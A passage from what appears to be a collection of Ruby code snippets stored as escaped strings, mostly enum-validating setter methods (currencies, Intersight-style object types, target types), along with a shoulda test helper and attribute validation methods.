\"ZAR\", \"ZMK\", \"ZMW\", \"BTC\"])\n unless validator.valid?(currency)\n fail ArgumentError, \"invalid value for 'currency', must be one of #{validator.allowable_values}.\"\n end\n @currency = currency\n end",
"def enum_defined_for?(attribute)\n context = self.eh_params[:enum_contexts][attribute.to_s]\n !!(eh_params[:db_codes][context] && eh_params[:db_codes][context][attribute.to_s])\n # Returns true if the indicated attribute has an enum defined\n end",
"def object_type=(object_type)\n validator = EnumAttributeValidator.new('String', [\"aaa.AuditRecord\", \"aaa.RetentionConfig\", \"aaa.RetentionPolicy\", \"access.Policy\", \"adapter.ConfigPolicy\", \"adapter.ExtEthInterface\", \"adapter.HostEthInterface\", \"adapter.HostFcInterface\", \"adapter.HostIscsiInterface\", \"adapter.Unit\", \"adapter.UnitExpander\", \"appliance.AppStatus\", \"appliance.AutoRmaPolicy\", \"appliance.Backup\", \"appliance.BackupPolicy\", \"appliance.CertificateSetting\", \"appliance.DataExportPolicy\", \"appliance.DeviceCertificate\", \"appliance.DeviceClaim\", \"appliance.DeviceUpgradePolicy\", \"appliance.DiagSetting\", \"appliance.ExternalSyslogSetting\", \"appliance.FileGateway\", \"appliance.FileSystemStatus\", \"appliance.GroupStatus\", \"appliance.ImageBundle\", \"appliance.NodeInfo\", \"appliance.NodeStatus\", \"appliance.ReleaseNote\", \"appliance.RemoteFileImport\", \"appliance.Restore\", \"appliance.SetupInfo\", \"appliance.SystemInfo\", \"appliance.SystemStatus\", \"appliance.Upgrade\", \"appliance.UpgradePolicy\", \"asset.ClusterMember\", \"asset.Deployment\", \"asset.DeploymentDevice\", \"asset.DeviceClaim\", \"asset.DeviceConfiguration\", \"asset.DeviceConnectorManager\", \"asset.DeviceContractInformation\", \"asset.DeviceRegistration\", \"asset.Subscription\", \"asset.SubscriptionAccount\", \"asset.SubscriptionDeviceContractInformation\", \"asset.Target\", \"bios.BootDevice\", \"bios.BootMode\", \"bios.Policy\", \"bios.SystemBootOrder\", \"bios.TokenSettings\", \"bios.Unit\", \"bios.VfSelectMemoryRasConfiguration\", \"boot.CddDevice\", \"boot.DeviceBootMode\", \"boot.DeviceBootSecurity\", \"boot.HddDevice\", \"boot.IscsiDevice\", \"boot.NvmeDevice\", \"boot.PchStorageDevice\", \"boot.PrecisionPolicy\", \"boot.PxeDevice\", \"boot.SanDevice\", \"boot.SdDevice\", \"boot.UefiShellDevice\", \"boot.UsbDevice\", \"boot.VmediaDevice\", \"bulk.Export\", \"bulk.ExportedItem\", \"bulk.MoCloner\", \"bulk.MoMerger\", \"bulk.Request\", \"bulk.SubRequestObj\", \"capability.AdapterUnitDescriptor\", \"capability.Catalog\", \"capability.ChassisDescriptor\", \"capability.ChassisManufacturingDef\", \"capability.CimcFirmwareDescriptor\", \"capability.EquipmentPhysicalDef\", \"capability.EquipmentSlotArray\", \"capability.FanModuleDescriptor\", \"capability.FanModuleManufacturingDef\", \"capability.IoCardCapabilityDef\", \"capability.IoCardDescriptor\", \"capability.IoCardManufacturingDef\", \"capability.PortGroupAggregationDef\", \"capability.PsuDescriptor\", \"capability.PsuManufacturingDef\", \"capability.ServerSchemaDescriptor\", \"capability.SiocModuleCapabilityDef\", \"capability.SiocModuleDescriptor\", \"capability.SiocModuleManufacturingDef\", \"capability.SwitchCapability\", \"capability.SwitchDescriptor\", \"capability.SwitchManufacturingDef\", \"certificatemanagement.Policy\", \"chassis.ConfigChangeDetail\", \"chassis.ConfigImport\", \"chassis.ConfigResult\", \"chassis.ConfigResultEntry\", \"chassis.IomProfile\", \"chassis.Profile\", \"cloud.AwsBillingUnit\", \"cloud.AwsKeyPair\", \"cloud.AwsNetworkInterface\", \"cloud.AwsOrganizationalUnit\", \"cloud.AwsSecurityGroup\", \"cloud.AwsSubnet\", \"cloud.AwsVirtualMachine\", \"cloud.AwsVolume\", \"cloud.AwsVpc\", \"cloud.CollectInventory\", \"cloud.Regions\", \"cloud.SkuContainerType\", \"cloud.SkuDatabaseType\", \"cloud.SkuInstanceType\", \"cloud.SkuNetworkType\", \"cloud.SkuRegionRateCards\", \"cloud.SkuVolumeType\", \"cloud.TfcAgentpool\", \"cloud.TfcOrganization\", \"cloud.TfcWorkspace\", \"comm.HttpProxyPolicy\", \"compute.BiosPostPolicy\", \"compute.Blade\", \"compute.BladeIdentity\", \"compute.Board\", \"compute.Mapping\", \"compute.PhysicalSummary\", \"compute.RackUnit\", \"compute.RackUnitIdentity\", \"compute.ServerPowerPolicy\", \"compute.ServerSetting\", \"compute.Vmedia\", \"cond.Alarm\", \"cond.AlarmAggregation\", \"cond.HclStatus\", \"cond.HclStatusDetail\", \"cond.HclStatusJob\", \"connectorpack.ConnectorPackUpgrade\", \"connectorpack.UpgradeImpact\", \"convergedinfra.HealthCheckDefinition\", \"convergedinfra.HealthCheckExecution\", \"convergedinfra.Pod\", \"crd.CustomResource\", \"deviceconnector.Policy\", \"equipment.Chassis\", \"equipment.ChassisIdentity\", \"equipment.ChassisOperation\", \"equipment.DeviceSummary\", \"equipment.ExpanderModule\", \"equipment.Fan\", \"equipment.FanControl\", \"equipment.FanModule\", \"equipment.Fex\", \"equipment.FexIdentity\", \"equipment.FexOperation\", \"equipment.Fru\", \"equipment.IdentitySummary\", \"equipment.IoCard\", \"equipment.IoCardOperation\", \"equipment.IoExpander\", \"equipment.LocatorLed\", \"equipment.Psu\", \"equipment.PsuControl\", \"equipment.RackEnclosure\", \"equipment.RackEnclosureSlot\", \"equipment.SharedIoModule\", \"equipment.SwitchCard\", \"equipment.SystemIoController\", \"equipment.Tpm\", \"equipment.Transceiver\", \"ether.HostPort\", \"ether.NetworkPort\", \"ether.PhysicalPort\", \"ether.PortChannel\", \"externalsite.Authorization\", \"fabric.AppliancePcRole\", \"fabric.ApplianceRole\", \"fabric.ConfigChangeDetail\", \"fabric.ConfigResult\", \"fabric.ConfigResultEntry\", \"fabric.ElementIdentity\", \"fabric.EstimateImpact\", \"fabric.EthNetworkControlPolicy\", \"fabric.EthNetworkGroupPolicy\", \"fabric.EthNetworkPolicy\", \"fabric.FcNetworkPolicy\", \"fabric.FcUplinkPcRole\", \"fabric.FcUplinkRole\", \"fabric.FcoeUplinkPcRole\", \"fabric.FcoeUplinkRole\", \"fabric.FlowControlPolicy\", \"fabric.LinkAggregationPolicy\", \"fabric.LinkControlPolicy\", \"fabric.MulticastPolicy\", \"fabric.PcMember\", \"fabric.PcOperation\", \"fabric.PortMode\", \"fabric.PortOperation\", \"fabric.PortPolicy\", \"fabric.ServerRole\", \"fabric.SwitchClusterProfile\", \"fabric.SwitchControlPolicy\", \"fabric.SwitchProfile\", \"fabric.SystemQosPolicy\", \"fabric.UplinkPcRole\", \"fabric.UplinkRole\", \"fabric.Vlan\", \"fabric.Vsan\", \"fault.Instance\", \"fc.PhysicalPort\", \"fc.PortChannel\", \"fcpool.FcBlock\", \"fcpool.Lease\", \"fcpool.Pool\", \"fcpool.PoolMember\", \"fcpool.Universe\", \"feedback.FeedbackPost\", \"firmware.BiosDescriptor\", \"firmware.BoardControllerDescriptor\", \"firmware.ChassisUpgrade\", \"firmware.CimcDescriptor\", \"firmware.DimmDescriptor\", \"firmware.Distributable\", \"firmware.DistributableMeta\", \"firmware.DriveDescriptor\", \"firmware.DriverDistributable\", \"firmware.Eula\", \"firmware.FirmwareSummary\", \"firmware.GpuDescriptor\", \"firmware.HbaDescriptor\", \"firmware.IomDescriptor\", \"firmware.MswitchDescriptor\", \"firmware.NxosDescriptor\", \"firmware.PcieDescriptor\", \"firmware.PsuDescriptor\", \"firmware.RunningFirmware\", \"firmware.SasExpanderDescriptor\", \"firmware.ServerConfigurationUtilityDistributable\", \"firmware.StorageControllerDescriptor\", \"firmware.SwitchUpgrade\", \"firmware.UnsupportedVersionUpgrade\", \"firmware.Upgrade\", \"firmware.UpgradeImpact\", \"firmware.UpgradeImpactStatus\", \"firmware.UpgradeStatus\", \"forecast.Catalog\", \"forecast.Definition\", \"forecast.Instance\", \"graphics.Card\", \"graphics.Controller\", \"hcl.CompatibilityStatus\", \"hcl.DriverImage\", \"hcl.ExemptedCatalog\", \"hcl.HyperflexSoftwareCompatibilityInfo\", \"hcl.OperatingSystem\", \"hcl.OperatingSystemVendor\", \"hcl.SupportedDriverName\", \"hyperflex.Alarm\", \"hyperflex.AppCatalog\", \"hyperflex.AutoSupportPolicy\", \"hyperflex.BackupCluster\", \"hyperflex.CapabilityInfo\", \"hyperflex.CiscoHypervisorManager\", \"hyperflex.Cluster\", \"hyperflex.ClusterBackupPolicy\", \"hyperflex.ClusterBackupPolicyDeployment\", \"hyperflex.ClusterBackupPolicyInventory\", \"hyperflex.ClusterHealthCheckExecutionSnapshot\", \"hyperflex.ClusterNetworkPolicy\", \"hyperflex.ClusterProfile\", \"hyperflex.ClusterReplicationNetworkPolicy\", \"hyperflex.ClusterReplicationNetworkPolicyDeployment\", \"hyperflex.ClusterStoragePolicy\", \"hyperflex.ConfigResult\", \"hyperflex.ConfigResultEntry\", \"hyperflex.DataProtectionPeer\", \"hyperflex.DatastoreStatistic\", \"hyperflex.DevicePackageDownloadState\", \"hyperflex.Drive\", \"hyperflex.ExtFcStoragePolicy\", \"hyperflex.ExtIscsiStoragePolicy\", \"hyperflex.FeatureLimitExternal\", \"hyperflex.FeatureLimitInternal\", \"hyperflex.Health\", \"hyperflex.HealthCheckDefinition\", \"hyperflex.HealthCheckExecution\", \"hyperflex.HealthCheckExecutionSnapshot\", \"hyperflex.HealthCheckPackageChecksum\", \"hyperflex.HxapCluster\", \"hyperflex.HxapDatacenter\", \"hyperflex.HxapDvUplink\", \"hyperflex.HxapDvswitch\", \"hyperflex.HxapHost\", \"hyperflex.HxapHostInterface\", \"hyperflex.HxapHostVswitch\", \"hyperflex.HxapNetwork\", \"hyperflex.HxapVirtualDisk\", \"hyperflex.HxapVirtualMachine\", \"hyperflex.HxapVirtualMachineNetworkInterface\", \"hyperflex.HxdpVersion\", \"hyperflex.License\", \"hyperflex.LocalCredentialPolicy\", \"hyperflex.Node\", \"hyperflex.NodeConfigPolicy\", \"hyperflex.NodeProfile\", \"hyperflex.ProtectedCluster\", \"hyperflex.ProxySettingPolicy\", \"hyperflex.ServerFirmwareVersion\", \"hyperflex.ServerFirmwareVersionEntry\", \"hyperflex.ServerModel\", \"hyperflex.ServiceAuthToken\", \"hyperflex.SoftwareDistributionComponent\", \"hyperflex.SoftwareDistributionEntry\", \"hyperflex.SoftwareDistributionVersion\", \"hyperflex.SoftwareVersionPolicy\", \"hyperflex.StorageContainer\", \"hyperflex.SysConfigPolicy\", \"hyperflex.UcsmConfigPolicy\", \"hyperflex.VcenterConfigPolicy\", \"hyperflex.VmBackupInfo\", \"hyperflex.VmImportOperation\", \"hyperflex.VmRestoreOperation\", \"hyperflex.VmSnapshotInfo\", \"hyperflex.Volume\", \"hyperflex.WitnessConfiguration\", \"iaas.ConnectorPack\", \"iaas.DeviceStatus\", \"iaas.DiagnosticMessages\", \"iaas.LicenseInfo\", \"iaas.MostRunTasks\", \"iaas.ServiceRequest\", \"iaas.UcsdInfo\", \"iaas.UcsdManagedInfra\", \"iaas.UcsdMessages\", \"iam.Account\", \"iam.AccountExperience\", \"iam.ApiKey\", \"iam.AppRegistration\", \"iam.BannerMessage\", \"iam.Certificate\", \"iam.CertificateRequest\", \"iam.DomainGroup\", \"iam.EndPointPrivilege\", \"iam.EndPointRole\", \"iam.EndPointUser\", \"iam.EndPointUserPolicy\", \"iam.EndPointUserRole\", \"iam.Idp\", \"iam.IdpReference\", \"iam.IpAccessManagement\", \"iam.IpAddress\", \"iam.LdapGroup\", \"iam.LdapPolicy\", \"iam.LdapProvider\", \"iam.LocalUserPassword\", \"iam.LocalUserPasswordPolicy\", \"iam.OAuthToken\", \"iam.Permission\", \"iam.PrivateKeySpec\", \"iam.Privilege\", \"iam.PrivilegeSet\", \"iam.Qualifier\", \"iam.ResourceLimits\", \"iam.ResourcePermission\", \"iam.ResourceRoles\", \"iam.Role\", \"iam.SecurityHolder\", \"iam.ServiceProvider\", \"iam.Session\", \"iam.SessionLimits\", \"iam.System\", \"iam.TrustPoint\", \"iam.User\", \"iam.UserGroup\", \"iam.UserPreference\", \"inventory.DeviceInfo\", \"inventory.DnMoBinding\", \"inventory.GenericInventory\", \"inventory.GenericInventoryHolder\", \"inventory.Request\", \"ipmioverlan.Policy\", \"ippool.BlockLease\", \"ippool.IpLease\", \"ippool.Pool\", \"ippool.PoolMember\", \"ippool.ShadowBlock\", \"ippool.ShadowPool\", \"ippool.Universe\", \"iqnpool.Block\", \"iqnpool.Lease\", \"iqnpool.Pool\", \"iqnpool.PoolMember\", \"iqnpool.Universe\", \"iwotenant.TenantStatus\", \"kubernetes.AciCniApic\", \"kubernetes.AciCniProfile\", \"kubernetes.AciCniTenantClusterAllocation\", \"kubernetes.AddonDefinition\", \"kubernetes.AddonPolicy\", \"kubernetes.AddonRepository\", \"kubernetes.BaremetalNodeProfile\", \"kubernetes.Catalog\", \"kubernetes.Cluster\", \"kubernetes.ClusterAddonProfile\", \"kubernetes.ClusterProfile\", \"kubernetes.ConfigResult\", \"kubernetes.ConfigResultEntry\", \"kubernetes.ContainerRuntimePolicy\", \"kubernetes.DaemonSet\", \"kubernetes.Deployment\", \"kubernetes.Ingress\", \"kubernetes.NetworkPolicy\", \"kubernetes.Node\", \"kubernetes.NodeGroupProfile\", \"kubernetes.Pod\", \"kubernetes.Service\", \"kubernetes.StatefulSet\", \"kubernetes.SysConfigPolicy\", \"kubernetes.TrustedRegistriesPolicy\", \"kubernetes.Version\", \"kubernetes.VersionPolicy\", \"kubernetes.VirtualMachineInfraConfigPolicy\", \"kubernetes.VirtualMachineInfrastructureProvider\", \"kubernetes.VirtualMachineInstanceType\", \"kubernetes.VirtualMachineNodeProfile\", \"kvm.Policy\", \"kvm.Session\", \"kvm.Tunnel\", \"license.AccountLicenseData\", \"license.CustomerOp\", \"license.IwoCustomerOp\", \"license.IwoLicenseCount\", \"license.LicenseInfo\", \"license.LicenseReservationOp\", \"license.SmartlicenseToken\", \"ls.ServiceProfile\", \"macpool.IdBlock\", \"macpool.Lease\", \"macpool.Pool\", \"macpool.PoolMember\", \"macpool.Universe\", \"management.Controller\", \"management.Entity\", \"management.Interface\", \"memory.Array\", \"memory.PersistentMemoryConfigResult\", \"memory.PersistentMemoryConfiguration\", \"memory.PersistentMemoryNamespace\", \"memory.PersistentMemoryNamespaceConfigResult\", \"memory.PersistentMemoryPolicy\", \"memory.PersistentMemoryRegion\", \"memory.PersistentMemoryUnit\", \"memory.Unit\", \"meta.Definition\", \"network.Element\", \"network.ElementSummary\", \"network.FcZoneInfo\", \"network.VlanPortInfo\", \"networkconfig.Policy\", \"niaapi.ApicCcoPost\", \"niaapi.ApicFieldNotice\", \"niaapi.ApicHweol\", \"niaapi.ApicLatestMaintainedRelease\", \"niaapi.ApicReleaseRecommend\", \"niaapi.ApicSweol\", \"niaapi.DcnmCcoPost\", \"niaapi.DcnmFieldNotice\", \"niaapi.DcnmHweol\", \"niaapi.DcnmLatestMaintainedRelease\", \"niaapi.DcnmReleaseRecommend\", \"niaapi.DcnmSweol\", \"niaapi.FileDownloader\", \"niaapi.NiaMetadata\", \"niaapi.NibFileDownloader\", \"niaapi.NibMetadata\", \"niaapi.VersionRegex\", \"niatelemetry.AaaLdapProviderDetails\", \"niatelemetry.AaaRadiusProviderDetails\", \"niatelemetry.AaaTacacsProviderDetails\", \"niatelemetry.ApicAppPluginDetails\", \"niatelemetry.ApicCoreFileDetails\", \"niatelemetry.ApicDbgexpRsExportDest\", \"niatelemetry.ApicDbgexpRsTsScheduler\", \"niatelemetry.ApicFanDetails\", \"niatelemetry.ApicFexDetails\", \"niatelemetry.ApicFlashDetails\", \"niatelemetry.ApicNtpAuth\", \"niatelemetry.ApicPsuDetails\", \"niatelemetry.ApicRealmDetails\", \"niatelemetry.ApicSnmpClientGrpDetails\", \"niatelemetry.ApicSnmpCommunityAccessDetails\", \"niatelemetry.ApicSnmpCommunityDetails\", \"niatelemetry.ApicSnmpTrapDetails\", \"niatelemetry.ApicSnmpTrapFwdServerDetails\", \"niatelemetry.ApicSnmpVersionThreeDetails\", \"niatelemetry.ApicSysLogGrp\", \"niatelemetry.ApicSysLogSrc\", \"niatelemetry.ApicTransceiverDetails\", \"niatelemetry.ApicUiPageCounts\", \"niatelemetry.AppDetails\", \"niatelemetry.CommonPolicies\", \"niatelemetry.DcnmFanDetails\", \"niatelemetry.DcnmFexDetails\", \"niatelemetry.DcnmModuleDetails\", \"niatelemetry.DcnmPsuDetails\", \"niatelemetry.DcnmTransceiverDetails\", \"niatelemetry.Epg\", \"niatelemetry.FabricModuleDetails\", \"niatelemetry.FabricPodProfile\", \"niatelemetry.FabricPodSs\", \"niatelemetry.Fault\", \"niatelemetry.HttpsAclContractDetails\", \"niatelemetry.HttpsAclContractFilterMap\", \"niatelemetry.HttpsAclEpgContractMap\", \"niatelemetry.HttpsAclEpgDetails\", \"niatelemetry.HttpsAclFilterDetails\", \"niatelemetry.Lc\", \"niatelemetry.MsoContractDetails\", \"niatelemetry.MsoEpgDetails\", \"niatelemetry.MsoSchemaDetails\", \"niatelemetry.MsoSiteDetails\", \"niatelemetry.MsoTenantDetails\", \"niatelemetry.NexusDashboardControllerDetails\", \"niatelemetry.NexusDashboardDetails\", \"niatelemetry.NexusDashboardMemoryDetails\", \"niatelemetry.NexusDashboards\", \"niatelemetry.NiaFeatureUsage\", \"niatelemetry.NiaInventory\", \"niatelemetry.NiaInventoryDcnm\", \"niatelemetry.NiaInventoryFabric\", \"niatelemetry.NiaLicenseState\", \"niatelemetry.PasswordStrengthCheck\", \"niatelemetry.PodCommPolicies\", \"niatelemetry.PodSnmpPolicies\", \"niatelemetry.PodTimeServerPolicies\", \"niatelemetry.SiteInventory\", \"niatelemetry.SnmpSrc\", \"niatelemetry.SshVersionTwo\", \"niatelemetry.SupervisorModuleDetails\", \"niatelemetry.SyslogRemoteDest\", \"niatelemetry.SyslogSysMsg\", \"niatelemetry.SyslogSysMsgFacFilter\", \"niatelemetry.SystemControllerDetails\", \"niatelemetry.Tenant\", \"notification.AccountSubscription\", \"ntp.Policy\", \"oprs.Deployment\", \"oprs.SyncTargetListMessage\", \"organization.Organization\", \"os.BulkInstallInfo\", \"os.Catalog\", \"os.ConfigurationFile\", \"os.Distribution\", \"os.Install\", \"os.OsSupport\", \"os.SupportedVersion\", \"os.TemplateFile\", \"os.ValidInstallTarget\", \"pci.CoprocessorCard\", \"pci.Device\", \"pci.Link\", \"pci.Switch\", \"port.Group\", \"port.MacBinding\", \"port.SubGroup\", \"power.ControlState\", \"power.Policy\", \"processor.Unit\", \"rack.UnitPersonality\", \"recommendation.CapacityRunway\", \"recommendation.PhysicalItem\", \"recovery.BackupConfigPolicy\", \"recovery.BackupProfile\", \"recovery.ConfigResult\", \"recovery.ConfigResultEntry\", \"recovery.OnDemandBackup\", \"recovery.Restore\", \"recovery.ScheduleConfigPolicy\", \"resource.Group\", \"resource.GroupMember\", \"resource.LicenseResourceCount\", \"resource.Membership\", \"resource.MembershipHolder\", \"resource.Reservation\", \"resourcepool.Lease\", \"resourcepool.LeaseResource\", \"resourcepool.Pool\", \"resourcepool.PoolMember\", \"resourcepool.Universe\", \"rproxy.ReverseProxy\", \"sdcard.Policy\", \"sdwan.Profile\", \"sdwan.RouterNode\", \"sdwan.RouterPolicy\", \"sdwan.VmanageAccountPolicy\", \"search.SearchItem\", \"search.TagItem\", \"security.Unit\", \"server.ConfigChangeDetail\", \"server.ConfigImport\", \"server.ConfigResult\", \"server.ConfigResultEntry\", \"server.Profile\", \"server.ProfileTemplate\", \"smtp.Policy\", \"snmp.Policy\", \"software.ApplianceDistributable\", \"software.DownloadHistory\", \"software.HclMeta\", \"software.HyperflexBundleDistributable\", \"software.HyperflexDistributable\", \"software.ReleaseMeta\", \"software.SolutionDistributable\", \"software.UcsdBundleDistributable\", \"software.UcsdDistributable\", \"softwarerepository.Authorization\", \"softwarerepository.CachedImage\", \"softwarerepository.Catalog\", \"softwarerepository.CategoryMapper\", \"softwarerepository.CategoryMapperModel\", \"softwarerepository.CategorySupportConstraint\", \"softwarerepository.DownloadSpec\", \"softwarerepository.OperatingSystemFile\", \"softwarerepository.Release\", \"sol.Policy\", \"ssh.Policy\", \"storage.Controller\", \"storage.DiskGroup\", \"storage.DiskSlot\", \"storage.DriveGroup\", \"storage.Enclosure\", \"storage.EnclosureDisk\", \"storage.EnclosureDiskSlotEp\", \"storage.FlexFlashController\", \"storage.FlexFlashControllerProps\", \"storage.FlexFlashPhysicalDrive\", \"storage.FlexFlashVirtualDrive\", \"storage.FlexUtilController\", \"storage.FlexUtilPhysicalDrive\", \"storage.FlexUtilVirtualDrive\", \"storage.HitachiArray\", \"storage.HitachiController\", \"storage.HitachiDisk\", \"storage.HitachiHost\", \"storage.HitachiHostLun\", \"storage.HitachiParityGroup\", \"storage.HitachiPool\", \"storage.HitachiPort\", \"storage.HitachiVolume\", \"storage.HyperFlexStorageContainer\", \"storage.HyperFlexVolume\", \"storage.Item\", \"storage.NetAppAggregate\", \"storage.NetAppBaseDisk\", \"storage.NetAppCluster\", \"storage.NetAppEthernetPort\", \"storage.NetAppExportPolicy\", \"storage.NetAppFcInterface\", \"storage.NetAppFcPort\", \"storage.NetAppInitiatorGroup\", \"storage.NetAppIpInterface\", \"storage.NetAppLicense\", \"storage.NetAppLun\", \"storage.NetAppLunMap\", \"storage.NetAppNode\", \"storage.NetAppNtpServer\", \"storage.NetAppSensor\", \"storage.NetAppStorageVm\", \"storage.NetAppVolume\", \"storage.NetAppVolumeSnapshot\", \"storage.PhysicalDisk\", \"storage.PhysicalDiskExtension\", \"storage.PhysicalDiskUsage\", \"storage.PureArray\", \"storage.PureController\", \"storage.PureDisk\", \"storage.PureHost\", \"storage.PureHostGroup\", \"storage.PureHostLun\", \"storage.PurePort\", \"storage.PureProtectionGroup\", \"storage.PureProtectionGroupSnapshot\", \"storage.PureReplicationSchedule\", \"storage.PureSnapshotSchedule\", \"storage.PureVolume\", \"storage.PureVolumeSnapshot\", \"storage.SasExpander\", \"storage.SasPort\", \"storage.Span\", \"storage.StoragePolicy\", \"storage.VdMemberEp\", \"storage.VirtualDrive\", \"storage.VirtualDriveContainer\", \"storage.VirtualDriveExtension\", \"storage.VirtualDriveIdentity\", \"syslog.Policy\", \"tam.AdvisoryCount\", \"tam.AdvisoryDefinition\", \"tam.AdvisoryInfo\", \"tam.AdvisoryInstance\", \"tam.SecurityAdvisory\", \"task.HitachiScopedInventory\", \"task.HxapScopedInventory\", \"task.NetAppScopedInventory\", \"task.PublicCloudScopedInventory\", \"task.PureScopedInventory\", \"task.ServerScopedInventory\", \"techsupportmanagement.CollectionControlPolicy\", \"techsupportmanagement.Download\", \"techsupportmanagement.TechSupportBundle\", \"techsupportmanagement.TechSupportStatus\", \"terminal.AuditLog\", \"terraform.Executor\", \"thermal.Policy\", \"top.System\", \"ucsd.BackupInfo\", \"uuidpool.Block\", \"uuidpool.Pool\", \"uuidpool.PoolMember\", \"uuidpool.Universe\", \"uuidpool.UuidLease\", \"virtualization.Host\", \"virtualization.VirtualDisk\", \"virtualization.VirtualMachine\", \"virtualization.VirtualNetwork\", \"virtualization.VmwareCluster\", \"virtualization.VmwareDatacenter\", \"virtualization.VmwareDatastore\", \"virtualization.VmwareDatastoreCluster\", \"virtualization.VmwareDistributedNetwork\", \"virtualization.VmwareDistributedSwitch\", \"virtualization.VmwareFolder\", \"virtualization.VmwareHost\", \"virtualization.VmwareKernelNetwork\", \"virtualization.VmwareNetwork\", \"virtualization.VmwarePhysicalNetworkInterface\", \"virtualization.VmwareUplinkPort\", \"virtualization.VmwareVcenter\", \"virtualization.VmwareVirtualDisk\", \"virtualization.VmwareVirtualMachine\", \"virtualization.VmwareVirtualMachineSnapshot\", \"virtualization.VmwareVirtualNetworkInterface\", \"virtualization.VmwareVirtualSwitch\", \"vmedia.Policy\", \"vmrc.Console\", \"vnc.Console\", \"vnic.EthAdapterPolicy\", \"vnic.EthIf\", \"vnic.EthNetworkPolicy\", \"vnic.EthQosPolicy\", \"vnic.FcAdapterPolicy\", \"vnic.FcIf\", \"vnic.FcNetworkPolicy\", \"vnic.FcQosPolicy\", \"vnic.IscsiAdapterPolicy\", \"vnic.IscsiBootPolicy\", \"vnic.IscsiStaticTargetPolicy\", \"vnic.LanConnectivityPolicy\", \"vnic.LcpStatus\", \"vnic.SanConnectivityPolicy\", \"vnic.ScpStatus\", \"vrf.Vrf\", \"workflow.BatchApiExecutor\", \"workflow.BuildTaskMeta\", \"workflow.BuildTaskMetaOwner\", \"workflow.Catalog\", \"workflow.CustomDataTypeDefinition\", \"workflow.ErrorResponseHandler\", \"workflow.PendingDynamicWorkflowInfo\", \"workflow.RollbackWorkflow\", \"workflow.SolutionActionDefinition\", \"workflow.SolutionActionInstance\", \"workflow.SolutionDefinition\", \"workflow.SolutionInstance\", \"workflow.SolutionOutput\", \"workflow.TaskDebugLog\", \"workflow.TaskDefinition\", \"workflow.TaskInfo\", \"workflow.TaskMetadata\", \"workflow.TaskNotification\", \"workflow.TemplateEvaluation\", \"workflow.TemplateFunctionMeta\", \"workflow.WorkflowDefinition\", \"workflow.WorkflowInfo\", \"workflow.WorkflowMeta\", \"workflow.WorkflowMetadata\", \"workflow.WorkflowNotification\"])\n unless validator.valid?(object_type)\n fail ArgumentError, \"invalid value for \\\"object_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @object_type = object_type\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"\", \"APIC\", \"DCNM\", \"UCSFI\", \"UCSFIISM\", \"IMC\", \"IMCM4\", \"IMCM5\", \"IMCRack\", \"UCSIOM\", \"HX\", \"HyperFlexAP\", \"IWE\", \"UCSD\", \"IntersightAppliance\", \"IntersightAssist\", \"PureStorageFlashArray\", \"UCSC890\", \"NetAppOntap\", \"NetAppActiveIqUnifiedManager\", \"EmcScaleIo\", \"EmcVmax\", \"EmcVplex\", \"EmcXtremIo\", \"VmwareVcenter\", \"MicrosoftHyperV\", \"AppDynamics\", \"Dynatrace\", \"NewRelic\", \"ServiceNow\", \"ReadHatOpenStack\", \"CloudFoundry\", \"MicrosoftAzureApplicationInsights\", \"OpenStack\", \"MicrosoftSqlServer\", \"Kubernetes\", \"AmazonWebService\", \"AmazonWebServiceBilling\", \"MicrosoftAzureServicePrincipal\", \"MicrosoftAzureEnterpriseAgreement\", \"DellCompellent\", \"HPE3Par\", \"RedHatEnterpriseVirtualization\", \"NutanixAcropolis\", \"HPEOneView\", \"ServiceEngine\", \"HitachiVirtualStoragePlatform\", \"IMCBlade\", \"TerraformCloud\", \"TerraformAgent\", \"CustomTarget\", \"AnsibleEndpoint\", \"HTTPEndpoint\", \"SSHEndpoint\", \"CiscoCatalyst\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def compliance=(compliance)\n validator = EnumAttributeValidator.new('String', ['Pdf15', 'PdfA1b'])\n unless validator.valid?(compliance)\n fail ArgumentError, 'invalid value for \"compliance\", must be one of #{validator.allowable_values}.'\n end\n @compliance = compliance\n end",
"def supports_polymorphic_enum_handling(attribute_name)\n self.eh_params[:polymorphic_attribute] = \"#{attribute_name}_type\".to_sym\n end",
"def should_deny_values(options)\n klass = self.name.gsub(/Test$/, '').constantize\n\n context \"#{klass}\" do\n options.each_pair do |attribute, values|\n [*values].each do |value|\n display_value = value.class == NilClass ? \"nil\" : \"\\\"#{value}\\\"\"\n \n should \"not allow #{attribute} to be #{display_value}\" do\n instance = get_instance_of(klass)\n instance.send(\"#{attribute}=\", value)\n assert !instance.valid?, \n \"Expected #{klass} to be invalid when #{attribute} is set to #{display_value}\"\n assert instance.errors.on(attribute.to_sym), \n \"Expected errors on #{attribute} when set to #{display_value}\"\n end\n end\n end\n end\n end",
"def enum?\n true\n end",
"def kind=(kind)\n validator = EnumAttributeValidator.new('String', [\"UNKNOWN\", \"USER_CREATED\", \"INTERNAL\"])\n unless validator.valid?(kind)\n fail ArgumentError, \"invalid value for \\\"kind\\\", must be one of #{validator.allowable_values}.\"\n end\n @kind = kind\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid?\n return false if @name.nil?\n return false if @name.to_s.length > 25\n return false if @based_on.nil?\n based_on_validator = EnumAttributeValidator.new('String', [\"MyCalendar\", \"Customer\", \"AllHours\", \"Custom\"])\n return false unless based_on_validator.valid?(@based_on)\n return false if !@application_order.nil? && @application_order > 32767\n return false if !@application_order.nil? && @application_order < 1\n return false if !@respond_hours.nil? && @respond_hours > 999\n return false if !@respond_hours.nil? && @respond_hours < 0\n return false if !@respond_percent.nil? && @respond_percent > 99999\n return false if !@respond_percent.nil? && @respond_percent < 0\n return false if !@plan_within.nil? && @plan_within > 999\n return false if !@plan_within.nil? && @plan_within < 0\n return false if !@plan_within_percent.nil? && @plan_within_percent > 99999\n return false if !@plan_within_percent.nil? && @plan_within_percent < 0\n return false if !@resolution_hours.nil? && @resolution_hours > 